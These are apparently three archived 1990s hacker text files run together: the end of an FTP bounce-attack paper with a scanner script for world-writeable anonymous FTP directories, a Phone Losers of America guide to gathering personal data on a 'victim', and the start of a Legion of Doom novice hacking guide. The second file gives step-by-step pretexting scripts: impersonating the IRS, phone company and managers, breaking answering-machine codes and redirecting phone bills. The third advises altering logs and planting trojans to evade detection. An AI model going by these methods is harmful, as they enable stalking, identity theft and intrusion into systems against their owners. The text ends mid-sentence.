other scary possibilities.
Connections launched this way come from source port 20, which some sites allow
through their firewalls in an effort to deal with the "ftp-data" problem.
For
some purposes, this can be the next best thing to source-routed attacks, and is
likely to succeed where source routing fails against packet filters. And it's
all made possible by the way the FTP protocol spec was written, allowing
control connections to come from anywhere and data connections to go anywhere.
Defenses
========
There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying "fix all
the FTP servers" is the wrong answer. But you can protect your own against
both being a third-party bouncepoint and having another one used against you.
The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated from.
This does not prevent the above attack, of course, since the PASV listener
could just as easily be on ufred.edu and thus meet that requirement, but
it does prevent *your* site from being a potential bouncepoint. It also
breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
is a very tiny violin.
The next obvious thing is to prohibit FTP control connections that come from
reserved ports, or at least port 20.
This prevents the above scenario as
stated.
Both of these things, plus the usual poop about blocking source-routed packets
and other avenues of spoofery, are necessary to prevent hacks of this sort.
And think about whether or not you really need an open "incoming" directory.
Only allowing passive-mode client data connections is another possibility,
but there are still too many FTP clients in use that aren't passive-aware.
"A loose consensus and running code"
====================================
There is some existing work addressing this available here at avian.org [and
has been for several months, I might add] in the "fixkits archive".
Several
mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
attempts to use bogus PORT commands.
Recent security fixes from elsewhere are
also included, along with s/key support and various compile-time options to
beef up security for specific applications.
Stan Barber at academ.com is working on merging these and several other fixes
into a true updated wu-ftpd release.
There are a couple of other divergent
efforts going on. Nowhere is it claimed that any of this work is complete yet,
but it is a start toward something I have had in mind for a while -- a
network-wide release of wu-ftpd-2.5, with contributions from around the net.
The wu-ftpd server has become very popular, but is in sad need of yet another
security upgrade. It would be nice to pull all the improvements together into
one coordinated place, and it looks like it will happen.
All of this still
won't help people who insist on running vendor-supplied servers, of course.
Sanity-checking the client connection's source port is not implemented
specifically in the FTP server fixes, but in modifications to Wietse's
tcp-wrappers package since this problem is more general.
A simple PORT option
is added that denies connections from configurable ranges of source ports at
the tcpd stage, before a called daemon is executed.
Some of this is pointed to by /src/fixkits/README in the anonymous FTP
area here. Read this roadmap before grabbing other things.
Notes
=====
Adding the nulls at the end of the command file was the key to making this
work against a variety of daemons.
Simply sending the desired data would
usually fail due to the immediate close signaling the daemon to bail out.
If WUSTL has not given up entirely on the whole wu-ftpd project, they are
keeping very quiet about further work.
Bryan O'Connor appears to have many
other projects to attend to by now...
This is a trivial script to find world-writeable and ftp-owned directories and
files on a unix-based anonymous FTP server. You'd be surprised how many of
those writeable "bouncepoints" pop out after a short run of something like
this.
You will have to later check that you can both PUT and GET files from
such places; some servers protect uploaded files against reading. Many do not,
and then wonder why they are among this week's top ten warez sites...
#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
} '
rm xxx.$$
I suppose one could call this a white paper. It is up for grabs at avian.org
in /random/ftp-attack as well as being posted in various relevant places.
_H*
950712
ケ 020 ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ 020 ス
・
The Phone Losers Of America Present
Information Gathering On Anyone - RedBoxChiliPepper
・・
・跡ユユユユユユユユユユユユユ
ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユオ
・Written On March 20, 1993
Last Revision on February 12, 1995 ・跡
ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユオ
・For Informational Cactuses Only. We're Not Responsible For Your Stupidity. ・・
20 ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ 020・
This file will contain just about every way there is that I know of and have
used to gather information on an individual. Also included throughout the
file are samples of conversations you would use to get what you want. Most
methods I've outlined here are completely annonymous and over the phone.
TABLE OF CONTENTS:
----------------1. Residential Billing Office
2. Finding Out Info With Address (Library Methods)
3. Using Radio Shack as a CNA
4. Pretend To Be An Ameritech Recording
5. Pretend To Be A Manager
6. Become An Activist
7. Answering Machine Hacking
8. Impersonating The IRS
9. Getting Copies Of Their Phone Bill
10. Finding Out What Their Number Is After They Changed It
11. Getting His New Number From ANI
Residential Billing Office:
-------------------------Method one is called the phone company's Residential Billing Office which is
the place you call up when you want to make changes in your phone service or
to have a new phone service installed. When you get a phone service installed,
you give them all kinds of useful information like your full name, address,
where you work, your birthdate, social security number, etc.
You also give them the name of a friend or relative who they can contact in
case they need to get in touch with you and so the long distance companies can
call them everyday and beg them to sign up for their service. Is what I do to
get all of this info on anyone I want is call up the residential office and
pose as the owner of the phone wanting to make a change in my service. Of
course, I cancel the change a few hours later so no one will ever know I was
there. And it rarely fails to work for me. You can even get someone's private
second number using this method.
When you call the office and say you want to make a change in your service,
they immediately ask you for your phone number. When they type in your number
they see on their computer screens a whole page of information on you. Hell,
I wouldn't be surprised if they knew my dog's name. They'll usually say
something like, "Okay, and you are Rich?" Presto! You now have their first
name.
If they don't give you the name right away, ask for it. Say you're not sure
who's on the bill now because you have so many roommates that live with you.
They never fail to tell you.
Problems With This Method:
------------------------I've only found two problems with this method. One would be a paranoid gimp
such as Darin McCall. If a person suspects someone is fooling around with his
phone line and trying to make changes he can call up the residential office and
ask them to password protect his line. This means that anyone who wants to do
anything with his line including finding out any kind of information would have
to tell the residential operator this password.
One way to get around this is to call your victim and pretend to be with the
phone company, saying there's been some unusual activity on their account, etc,
etc, and ask them what their password is. Another way I've gotten away with is
to call the billing office and say I'd like to change my password. They ask for
my number and then ask what I'd like my new password to be, forgetting to ask
me what my current is. This has worked twice for me.
The second problem is people like me who give false information when they hook
up their phone. When I got my phone service, I gave them a fake last name, a
fake social security number, a billing address at a post office box and tell
them I work for a bank or something like that. (That'll be the day.) Most people
don't give the phone company false information because they really have no
reason to. So don't rely on the information you gather 100%. There's a small
chance that it could be bogus. (Very small!)
Sample Conversations:
-------------------Now I'll type out some sample conversations that I've had with the billing
operators to show you how it's done, some problems you run in to and how to
cover them up.
Dialing 800-244-4444...ring...ring...ring...
After selecting the correct information on their automated introduction, I'm
connected with a live operator who has a terrible hangover from a bell party
she went to last night...
HER: Residential Billing, this is Sheila. May I help you?
YOU: Naw, I was just calling for my health. I need to make a change in my
service. I want call forwarding.
HER: Okay, could I have your complete phone number?
YOU: Sure, it's 618-797-2339. Do you want me to spell it?
(Note, I'm exaggerating the sarcasm just a tad bit.)
HER: Okay...(type type type!)...Alright and who am I speaking to?
YOU: Uhhh, this is Scott.
HER: That's funny, I have a Robert as the billing name.
YOU: Oh, him. That's my roommate. Robert Dawson, right?
HER: No, Robert Coyner.
YOU: Oh, yeah, him. We have two Roberts living here.
HER: Okay, I see. (gives me a fake bell-type laugh.)
See how easy that is? Now the conversation would go on with her trying to
sell you the special rate you get when you order three services or more.
NEVER hang up as soon as you get the information. Always finish out the
conversation and then call back later that day and cencel the service you
ordered. Or you could do something like this...
HER: Okay, we'll have call forwarding hooked up for you this Tuesday
morning and the hook up fee will be a one-time charge of $15.65. Would
you like that billed to you all at once or in payments?
YOU: Oh, goodness gracious heavens to betsy! (Sounding shocked) That's a lot
of money. I had no idea it would cost me that much. Maybe I should wait
until Robert gets home and ask him if it's okay to pay that much since
he is the one who pays the bill. He's my sugar daddy, you see. Could you
take my order off and I'll have him call back this evening?
HER: Sure, Scott, no problem. (I hear her scratching her underarm in the
background.) Will there be anything else for you then?
YOU: No, I think you've done just about enough for me today. (smirking)
HER: Alright, well you have a really nice day.
YOU: And you have a cheesy evening. Happy Haunaka.
So now you've got the name. It's Robert Coyner. So you call up the billing
office again and of course you get a totally different operator. I have
called them many times and never get the same operator more than once. Kind
of like lightning never striking twice in the same place.
YOU: Hi, this is Robert and I want to make some changes in my service.
HER: Okay, could I have your billing number?
YOU: No...Just kidding! It's 618-797-2339.
I won't go into detail on this. Just order call forwarding again and near
the end of the conversation say...
YOU: Oh, by the way I'm employed by a different company now. Do you want to
put the new one in there?
HER: (Surprised because no one ever asks this.) Oh, sure! Where do you work
now?
YOU: (Proudly) I'm a garbage man for the city of Roxana. (Wiping a tear from
my eye.) Is my old job at 7-Eleven still listed in there?
HER: No, we still have you listed as the assistant manager of K-Mart.
YOU: Yeah, that's where I worked at before I went for my career as a stock
boy at the supermarket.
Presto, you now know where they worked when they installed their phone
service. Of course, they could have changed jobs by now but at least you have
something. You want the social security number? Well, on a totally different
call you do basically the same thing.
YOU: Oh, by the way, I finally found my social security number. Do you want
me to give that to you?
HER: (Confused) What are you talking about? We have your social security
number right here in the computer.
YOU: Well, that's strange. When I applied for my service, I couldn't find
my social security card and never gave it to them. Maybe my wife
called and gave it to you. What number do you have there?
HER: 341-69-3926
YOU: Hmmm, well that's my number. My wife must have called already. That
bitch, I'm going to have to beat her when she gets home.
Just don't forget to call back and cancel the services you've ordered after
a few hours. (Or right away, it doesn't matter.) A word to the wise, if
you're planning to make some harrassing changes in their service, don't do
it from your home phone. This IS an 800 number and they can find out where
the call is comming from if they need to. This happened to me when I canceled
a former boss's phone service. My district manager confronted me saying
that the call had come from my work phone. (Where I had made the call from.)
The Public Library:
-----------------Every library has what is called a criss-cross directory, usually published by
Haines or Cole's. This book will list every listed phone number in order. You
simply find the phone number you're looking for and if it's listed, the name
and address will be next to it.
Another method of searching is by address. All the addresses in the city are
also listed in order so you can look someone up by their address. To get the
information you need, call the library and just tell them what you need and
they're usually happy to give it to you. Just remember, when you make Conan
the Librarian jokes, the lady gets pissed off.
Also, you can go into the library and ask to look at the directory. When she
gives it to you, sneak off to a secluded isle and shove the book in your
jacket and haul ass. This is a handy book to own.
Using Radio Shack As A CNA:
-------------------------This may sound crazy, but I swear it has worked for me. Again, you have
somebody's phone number but you don't have their address or their name. If
it's late in the day and the phone company's billing office has already
closed down for the day, Radio Shack is always open until 9:00!
A few years ago, Radio Shack got was using those old fashioned digital
cash registers to ring up sales and using their TRS-80 color computer to send
in the nightly reports to Fort Worth, TX. Finally, they decide to go high
tech like all the other low income electronic stores and do everything on a
computer. And everyone who shops there are probably familiar with the
salesman asking you, "Could I have the last four digits of your phone
number?"
When you give them these four numbers, they get a small list of maybe two or
three names who have those four digits for their phone number. This is where
we come in with a phone call to their store...
BOB: Thank you for calling Radio Shack, Amierica's Technology store. You've
got questions? We've got answers! This is Bob, how may I help you this
evening. (I wonder if they could make that introduction any longer?)
YOU: Hi, Bob. This is Frank from Radio Shack #1365 here at St. Louis Center.
I just had a kid come in here and get a refund for something he bought
yesterday and after he left I took the thing apart and the whole
inside is missing from it.
BOB: (In astonishment) You're kidding...
YOU: Nope, all I got here is the casing to a $250 police scanner. Now he
gave me his real phone number and he lives there in your area and I
need you to type the digits 3902 and see what you come up with there.
BOB: (Typing)...I have three listings here.
YOU: Okay, could you read off all three names? I'm going to find out which
one of them is him and call up the police.
It's that easy. If the person you're looking for has shopped at that Radio
Shack store in the last year, you've probably got his name and address now.
If that store didn't work, try another one. And another, and another, and
another until you find one that he's shopped at. Everyone shops at Radio
Shack SOMEtime. Remember, the name you have could be someone else that lives
with him, but at least you've got a start.
Pretend To Be The Ameritech Recording:
------------------------------------This one works especially well with elderly people. You call up the number
you have and pretend to be the Phone Directory's automated system. Here's
what you say after they answer:
(In a clear and distinguished voice) Hello! This is the Illinois Bell
Ameritech automated address and phone number system. To ensure that your
information appears correctly in the 1995 edition of the phone book, please
state your Name, Address, City and phone number after the tone. If you wish
to remain unlisted this year, please say so after stating your information.
Thank you for choosing Illinois Bell... (beep!)
A non-touch tone beep can be generated by pressing the 1 and 2 buttons on
your phone at the exact same time unless you have a generic telephone. Most
people will state their information but there are those who are skeptical
and will just hang up. If you want, be persistant and keep calling them.
After they give you their information, you can mess with their minds if you
want to by saying things like, "Thank you! Now please state your Visa card
number...okay, now state your bra size...What color is your phone...What
color is your toilet...Please state your lover's name..."
Pretend To Be A Manager:
----------------------If you know of a place where your victim has worked or is working you can
call up their employer and squeeze a little information out of him. The
conversation would go something like this:
(In this example you're calling McDonald's)
MCDS: (Cheery girl) McDonald's, may I help you?
YOU: Yeah, put your boss on the phone, you little tramp!
MCDS: (Still cheery) Thank you, please hold on...
YOU: (Waits for her to go fetch the manager from flipping burgers.)
MCDS: Hi, this is Manager Jerry speaking. (Who's he trying to impress??)
YOU: Hi, Jerry, this is Walter from Blockbuster Video rentals in
Belleville. I'm doing a reference check on a John Light you had
working there. I need to know the dates of his hire and termination
and I need to know whether he was fired or if he quit.
MCDS: Okay, hold on just one second...(He digs through that highly
sophisticated filing system that only a McDonald's manager could
devise. He finds John's files mixed in with a box of hairnets.)
MCDS: Here it is. I have John hired on July of 1992 and he quit on August
of 1992. (How long do you expect someone to last at a place like that?)
YOU: And he quit? He wasn't fired?
MCDS: No, he quit. But he was a dandy little worker, he was.
YOU: Okay, that's all I really needed to know. Oh, by the way, would you
happen to have his phone number there on his application? It looks like
he forgot to write his down here.
MCDS: Uh, sure. It's 254-4016.
YOU: Boy, are you dumb. I'm just some kid trying to get this guy's phone
number. Have a nice future at McDonald's, you twit. (Hangs up.)
So maybe I didn't say that last part, but I have tried this twice now, once at
Long John Silver's and at McDonald's and it worked both times. I think asking
for his phone number just kind of catches the guy off guard and he rattles it
off with no hesitation. If it doesn't work one place, try another place he
worked at. You might also try getting a social security number like this. You
could probably do the same thing for other information such as him social
security number and his underwear size.
Be An Activist:
-------------You only have their address and the library won't give you any information you
need so your only choice is to become an activist and start a petition. Get a
clipboard, paper and a pen. Quickly write up a petition to save something
worthwhile like, "We the undersigned, are petitioning against the city's
decision to tear down our local grade school and turn it into a landfill."
Make up a whole bunch of names and sign them to your petition. Get about 25
names to make it look legitimate.
Now go up to the guy's door and knock. When he answers have a prepared speech
ready about what you're petitioning against and convince him to sign it too.
Be really friendly and outgoing with him so he'll like you and want to help
you out. You might also ask him to include his phone number after he's signed
his name so you can contact him about other local situations that might affect
him. Who knows, he could fall for that one.
Assuming you can decipher his adult signature, you now know who lives there.
Answering Machine Hacking:
------------------------The answering machines that let you call in remotely and retrieve your
messages are very commonplace these days. The owner of the machine can simply
call his own house from the office and punch in a small code to listen to his
messages. For us, it's a guaranteed lode of information. Their messages can
contain all sorts of useful information such as phone numbers to close
friends and relatives, when they'll be out of town, who their doctor is, where
they work, just about anything. When someone leaves a message they assume that
only the person they're leaving it for will hear it. Fools.
Usually the code is only two digits long and very easy to break. On one brand
of machine the code is only one digit long and on some it can be three. Wait
until their not home and start working on their machine. Call their house and
after the tone start hitting random numbers to see if you can break the code.
Here are some helpful guidelines:
o A standard feature on a lot of brands of machines lets you not have to
listen to their outgoing message everytime you call. If you get sick of
the outgoing message try pressing "*" and sometimes that will bring you
directly to the beep.
o Some machines only give you a certian amount of time to press in the
security code so if you're not quick enough it'll hang up on you. Call
back and try again.
o Other machines want you to press and hold the numbers of the code for about
one second. So start from "1" and work your way up until you either hit the
code right or it takes too long and hangs up on you.
When you're trying codes try every number once and then do the same thing
again over and over until you've hit the right number. Most answering machines
are just looking for those right two numbers and don't care what else you're
hitting.
After you've finally got it, keep calling back and use the process of
elimination to narrow your way to their code. Let's say that when you hit
"123456" it lets you in. Next time you call, try "12345" and see if you still
get in. If you do, try "1234" and so on until you eliminate your way down to
their two or three number code. You'll know when you've broken in when it
starts giving you weird beeping noises.
After you've figured out their code, sometimes you have to dial one more
number to hear the messages. Most of the time the machine will automatically
play the messages after you put in the security code but on some you have to
dial number "1" or something like that. Not really that hard to figure out.
For the more malicious people out there, you can do more than just listen to
their messages, a lot of machines will let you change the outgoing message,
erase all the messages and monitor all the sounds in their house. Of course,
when you start fucking around with them, they know you're there and the whole
purpose is defeated.
Now that you've figured out their code, you want to call every day that you
can and take notes of all the messages that you hear. Even the small things
could mean something to you one of these days so write down every name and
phone number that's put on there. Write down all the personal information you
hear because you never know what you'll be able to use in the future.
Try to make sure you're not erasing his messages every time you call or he'll
start to wonder why he never gets messages anymore. Sometimes an answering
machine will automatically erase the messages after you've listened to them
remotely unless you put in a code afterwards.
This Is The IRS, Pal.
-------------------Recently, I called up a few hospitals where someone I knew worked and I needed
a little information on him. I was amazed at how easily they give out
information when they think you work for the IRS. I was able to get his
social security number, phone number, home address and they even told me where
else had wrote down that he worked at in the past.
Call up the place where he works. If it's a bigger type business such as a
hospital or the White House, ask for the personell department.
HER: Yes, this is Sherry, may I help you?
YOU: Hi, Sherry, this is John from the IRS. We've been investigating an
employee we think is working there for you. Could you tell us if there's
a Beavis Martin working there?
HER: Just a second......Yes, he's working here.
YOU: Okay, do you have a fax machine there where you could fax me his job
application and tax forms?
HER: No, we don't have a fax machine.
YOU: Could I just get a little inforamtion over the phone then?
HER: Sure.
If it's a little business like a video store or something, they usually won't
have a fax machine so you have nothing to worry about. If it's a bigger
business they might have them so you wouldn't want to ask them that unless
you have a fax machine where you can recieve the fax. Or you could always
have them fax the papers to a local copy shop where you can pick them up. (Wait
a second, I think I'm repeating myself here...)
Ask the lady what social security number he put down explaining that he has
been known in the past to write down bogus numbers to avoid paying taxes. Ask
what his phone numbers is, and anything else you feel would be useful for you.
Tell her that this whole thing is strictly hush-hush and that she shouldn't
mention to Beavis that you're investigating him. This will really lower her
opinion of her employee, knowing that he's into tax fraud.
Getting a Copy of Their Phone Bill:
---------------------------------First of all, you need an address where the phone company can send their bill
to. You don't want to use your own address as that would be really stupid of
you. Get a bogus p.o. box, vacant house, or fill out a change of address card
and forward mail going to a certian address in his name to you.
Call the residential billing office and explain to them that you want all your
future phone bills to be sent to a p.o. box instead of your home from now on.
She'll gladly make that change and his next phone bills will start arriving
at the new p.o. box.
Now you want to get copies of their past phone bills. Call up the residential
office again and tell them that the company you work for has agreed to
reimburse you for all the company-related calls you've made from your home in
the last four months but you've thrown all your phone bills away. Ask them if
they can mail you your last four or five phone bills. They can and they will.
Now in two weeks you'll recieve copies of his phone bills from the last four
months and be able to see all the long distance calls he makes. After you get
the bills you'll want to call the residential office again and change his
billing address back to how it was so he won't know anything ever happened.
Another thing to do if you want to continue recieving his phone bills and
don't really care if he knows is to call the billing office and tell them on
your next phone bill you want a list of every local number that was dialed so
you can "see why your kid's making so many phone calls". My dad did that to
me once and there was about fifty pages of bulletin boards I'd called, not to
mention third number billed calls.
Knowing what he calls locally will help you out a lot. You'll be able to see
exactly what he and his family calls, who his friends are, their may be some
personal numbers in there that he calls, etc. You can also see if he's the
type of person to call phone sex alot.
One more thing, if you'd like to get a new calling card number, since you now
recieve his phone bills, you can order a calling card for yourself and you'll
recieve it just like you do his phone bill.
Finding Out His Number When He Changes It:
----------------------------------------Let's say our man is fed up with us. He's tired of having his boss question
him about tax evasion, tired of having his phone bill messed with, tired of
people playing on his answering machine, and tired of petitioners comming to
his door all the time. He decides to pay the $90 to have his phone number
changed to an unlisted number.
Ha!, you think. He's just wasted $90 because I'm going to get his new number.
If you've been watching this guy closely you'll know who his best friends are
and who his relatives are. You know exactly who calls him alot because you've
been monitoring his answering machine for two months now. Maybe it's his poor
mother across town or maybe it's his best friend that you'll pick, it doesn't
really matter.
Now it's very simple. Let's say you pick his mom and dad's house. Call the
phone company's billing office and pretend to be the dad or have a girlfriend
pretend to be the mom. You'll be doing basically what you did to get copies of
his phone bill but this time you're going to get copies of his parents phone
bill. First, tell the billing office you want every local number accounted
for on your bill. Then call them back later and change their billing address
to your p.o. box.
Now just to make sure that they're going to call thier son, you can call them
and leave messages on their machine saying that you're their son and to call
him when they get in, it's important. Even if his parents can tell that you're
not really him, they'll probably call him and tell him what happened.
At the end of the month, you'll get their bill which will have every locally
called number on it which will include their son's new phone number. Call up
their son and say, "Ha ha! You can't hide from me!" Read in the paper the
next morning about how he committed suicide by hanging himself with his
telephone cord.
Oh, and while you're at it, doesn't mom and dad need some new calling cards?
Getting His New Number From ANI:
------------------------------Otherwise known as Automatic Number Identification. This means that in the
middle of the night you go to his house, open his phone box, plug in your
phone and dial the ANI number which will read off his new number to you. You
could also call up a friend that has Caller I.D. The best ANI I know of is
1-800-MY-ANI-IS.
Just make sure to be really quiet out in his back yard and watch out for those
motion sensor lights that everyone has these days. Those things will be the
death of people like me.
If you have any additions or comments about this file, please contact me.
ケユユユユユユユユユユユユユ Contact ユ The ユ Phone ユ Losers ユ Of ユ America ユ Nearest ユ You!ユユユユユユユユユユユ
ユユユユス
・ 512-370-4680 PLA Voice Mailbox
And PLEASE Don't Pay
512-851-8317 Sonic Youth Systems
・・
For Your Fone Calls! ・
・ 512-883-7543 PLA WHQ Texas Line
・・
618-797-2339 PLA WHQ Illinois Line
・虎ユユユ
ユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユユ
+++++++++++++++++++++++++++++++++++++++++++++++++
|
The LOD/H Presents
++++++++++++++++
\
|
++++++++++++++++
A Novice's Guide to Hacking- 1989 edition
\
/
=========================================
\
/
by
\
/
The Mentor
\
/
Legion of Doom/Legion of Hackers
/
\
/
\
\
December, 1988
Merry Christmas Everyone!
/
/
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/
**********************************************************************
|
The author hereby grants permission to reproduce, redistribute,
|
|
or include this file in your g-file section, electronic or print
|
|
newletter, or any other form of transmission that you choose, as
|
|
long as it is kept intact and whole, with no ommissions, delet-
|
|
ions, or changes. (C) The Mentor- Phoenix Project Productions
|
|
1988,1989
512/441-3088
|
**********************************************************************
Introduction: The State of the Hack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
After surveying a rather large g-file collection, my attention was drawn to
the fact that there hasn't been a good introductory file written for absolute
beginners since back when Mark Tabas was cranking them out (and almost
*everyone* was a beginner!)
The Arts of Hacking and Phreaking have changed
radically since that time, and as the 90's approach, the hack/phreak community
has recovered from the Summer '87 busts (just like it recovered from the Fall
'85 busts, and like it will always recover from attempts to shut it down), and
the progressive media (from Reality Hackers magazine to William Gibson and
Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice
of us for the first time in recent years in a positive light.
Unfortunately, it has also gotten more dangerous since the early 80's.
Phone cops have more resources, more awareness, and more intelligence that they
exhibited in the past. It is becoming more and more difficult to survive as
a hacker long enough to become skilled in the art. To this end this file
is dedicated .
If it can help someone get started, and help them survive
to discover new systems and new information, it will have served it's purpose,
and served as a partial repayment to all the people who helped me out when I
was a beginner.
Contents
~~~~~~~~
This file will be divided into four parts:
Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety
Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it,
Outdials, Network Servers, Private PADs
Part 3: Identifying a Computer, How to Hack In, Operating System
Defaults
Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call,
Acknowledgements
Part One: The Basics
~~~~~~~~~~~~~~~~~~~~
As long as there have been computers, there have been hackers. In the 50's
at the Massachusets Institute of Technology (MIT), students devoted much time
and energy to ingenious exploration of the computers. Rules and the law were
disregarded in their pursuit for the 'hack'. Just as they were enthralled with
their pursuit of information, so are we.
The thrill of the hack is not in
breaking the law, it's in the pursuit and capture of knowledge.
To this end, let me contribute my suggestions for guidelines to follow to
ensure that not only you stay out of trouble, but you pursue your craft without
damaging the computers you hack into or the companies who own them.
I.
Do not intentionally damage *any* system.
II.
Do not alter any system files other than ones needed to ensure your
escape from detection and your future access (Trojan Horses, Altering
Logs, and the like are all necessary to your survival for as long as
possible.)
III. Do not leave your (or anyone else's) real name, real handle, or real
phone number on any system that you access illegally. They *can* and
will track you down from your handle!
IV.
Be careful who you share information with. Feds are getting trickier.
Generally, if you don't know their voice phone number, name, and
occupation or haven't spoken with them voice on non-info trading
conversations, be wary.
V.
Do not leave your real phone number to anyone you don't know.
This
includes logging on boards, no matter how k-rad they seem. If you
don't know the sysop, leave a note telling some trustworthy people
that will validate you.
VI.
Do not hack government computers. Yes, there are government systems
that are safe to hack, but they are few and far between.
And the
government has inifitely more time and resources to track you down than
a company who has to make a profit and justify expenses.
VII. Don't use codes unless there is *NO* way around it (you don't have a
local telenet or tymnet outdial and can't connect to anything 800...)
You use codes long enough, you will get caught. Period.
VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law.
It doesn't hurt to store everything encrypted on your hard disk, or
keep your notes buried in the backyard or in the trunk of your car.
You may feel a little funny, but you'll feel a lot funnier when you
when you meet Bruno, your transvestite cellmate who axed his family to
death.
IX.
Watch what you post on boards.
Most of the really great hackers in the
country post *nothing* about the system they're currently working
except in the broadest sense (I'm working on a UNIX, or a COSMOS, or
something generic. Not "I'm hacking into General Electric's Voice Mail
System" or something inane and revealing like that.)
X.
Don't be afraid to ask questions. That's what more experienced hackers
are for.
Don't expect *everything* you ask to be answered, though.
There are some things (LMOS, for instance) that a begining hacker
shouldn't mess with. You'll either get caught, or screw it up for
others, or both.
XI.
Finally, you have to actually hack. You can hang out on boards all you
want, and you can read all the text files in the world, but until you
actually start doing it, you'll never know what it's all about.
There's
no thrill quite the same as getting into your first system (well, ok,
I can think of a couple of bigger thrills, but you get the picture.)
One of the safest places to start your hacking career is on a computer
system belonging to a college. University computers have notoriously lax
security, and are more used to hackers, as every college computer department has one or two, so are less likely to press charges if you should
be detected.
But the odds of them detecting you and having the personel to
committ to tracking you down are slim as long as you aren't destructive.
If you are already a college student, this is ideal, as you can legally
explore your computer system to your heart's desire, then go out and look
for similar systems that you can penetrate with confidence, as you're already
familar with them.
So if you just want to get your feet wet, call your local college.
Many of
them will provide accounts for local residents at a nominal (under $20) charge.
Finally, if you get caught, stay quiet until you get a lawyer. Don't volunteer any information, no matter what kind of 'deals' they offer you.
Nothing is binding unless you make the deal through your lawyer, so you might
as well shut up and wait.
Part Two: Networks
~~~~~~~~~~~~~~~~~~
The best place to begin hacking (other than a college) is on one of the
bigger networks such as Telenet. Why?
First, there is a wide variety of
computers to choose from, from small Micro-Vaxen to huge Crays. Second, the
networks are fairly well documented.
It's easier to find someone who can help
you with a problem off of Telenet than it is to find assistance concerning your
local college computer or high school machine. Third, the networks are safer.
Because of the enormous number of calls that are fielded every day by the big
networks, it is not financially practical to keep track of where every call and
connection are made from.
It is also very easy to disguise your location using
the network, which makes your hobby much more secure.
Telenet has more computers hooked to it than any other system in the world
once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET,
DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of
which you can connect to from your terminal.
The first step that you need to take is to identify your local dialup port.
This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will
spout some garbage at you and then you'll get a prompt saying 'TERMINAL='.
This is your terminal type.
If you have vt100 emulation, type it in now.
Or
just hit return and it will default to dumb terminal mode.
You'll now get a prompt that looks like a @.
and then it will ask for a Username.
From here, type @c mail <cr>
Enter 'phones' for the username. When it
asks for a password, enter 'phones' again. From this point, it is menu
driven.
Use this to locate your local dialup, and call it back locally. If
you don't have a local dialup, then use whatever means you wish to connect to
one long distance (more on this later.)
When you call your local dialup, you will once again go through the
TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets
you know you are connected to a Telenet PAD. PAD stands for either Packet
Assembler/Disassembler (if you talk to an engineer), or Public Access Device
(if you talk to Telenet's marketing people.) The first description is more
correct.
Telenet works by taking the data you enter in on the PAD you dialed into,
bundling it into a 128 byte chunk (normally... this can be changed), and then
transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who
then takes the data and hands it down to whatever computer or system it's
connected to. Basically, the PAD allows two computers that have different baud
rates or communication protocols to communicate with each other over a long
distance. Sometimes you'll notice a time lag in the remote machines response.
This is called PAD Delay, and is to be expected when you're sending data
through several different links.
What do you do with this PAD? You use it to connect to remote computer
systems by typing 'C' for connect and then the Network User Address (NUA) of
the system you want to go to.
An NUA takes the form of
031103130002520
\___/\___/\___/
|
|
|
|
|
|____ network address
|
|_________ area prefix
|______________ DNIC
This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC)
according to their country and network name.
DNIC
Network Name
Country
DNIC
Network Name
Country
_______________________________________________________________________________
|
02041
Datanet 1
Netherlands |
03110
Telenet
USA
02062
DCS
Belgium
|
03340
Telepac
Mexico
02080
Transpac
France
|
03400
UDTS-Curacau
Curacau
02284
Telepac
Switzerland |
04251
Isranet
Israel
02322
Datex-P
Austria
|
04401
DDX-P
Japan
02329
Radaus
Austria
|
04408
Venus-P
Japan
02342
PSS
UK
|
04501
Dacom-Net
South Korea
02382
Datapak
Denmark
|
04542
Intelpak
Singapore
02402
Datapak
Sweden
|
05052
Austpac
Australia
02405
Telepak
Sweden
|
05053
Midas
Australia
02442
Finpak
Finland
|
05252
Telepac
Hong Kong
02624
Datex-P
West Germany |
05301
Pacnet
New Zealand
02704
Luxpac
Luxembourg
|
06550
Saponet
South Africa
02724
Eirpak
Ireland
|
07240
Interdata
Brazil
03020
Datapac
Canada
|
07241
Renpac
Brazil
03028
Infogram
Canada
|
09000
Dialnet
USA
03103
ITT/UDTS
USA
|
07421
Dompac
French Guiana
03106
Tymnet
USA
|
There are two ways to find interesting addresses to connect to. The first
and easiest way is to obtain a copy of the LOD/H Telenet Directory from the
LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good
list of non-US addresses in Phrack Inc. Newsletter Issue 21.
These files will
tell you the NUA, whether it will accept collect calls or not, what type of
computer system it is (if known) and who it belongs to (also if known.)
The second method of locating interesting addresses is to scan for them
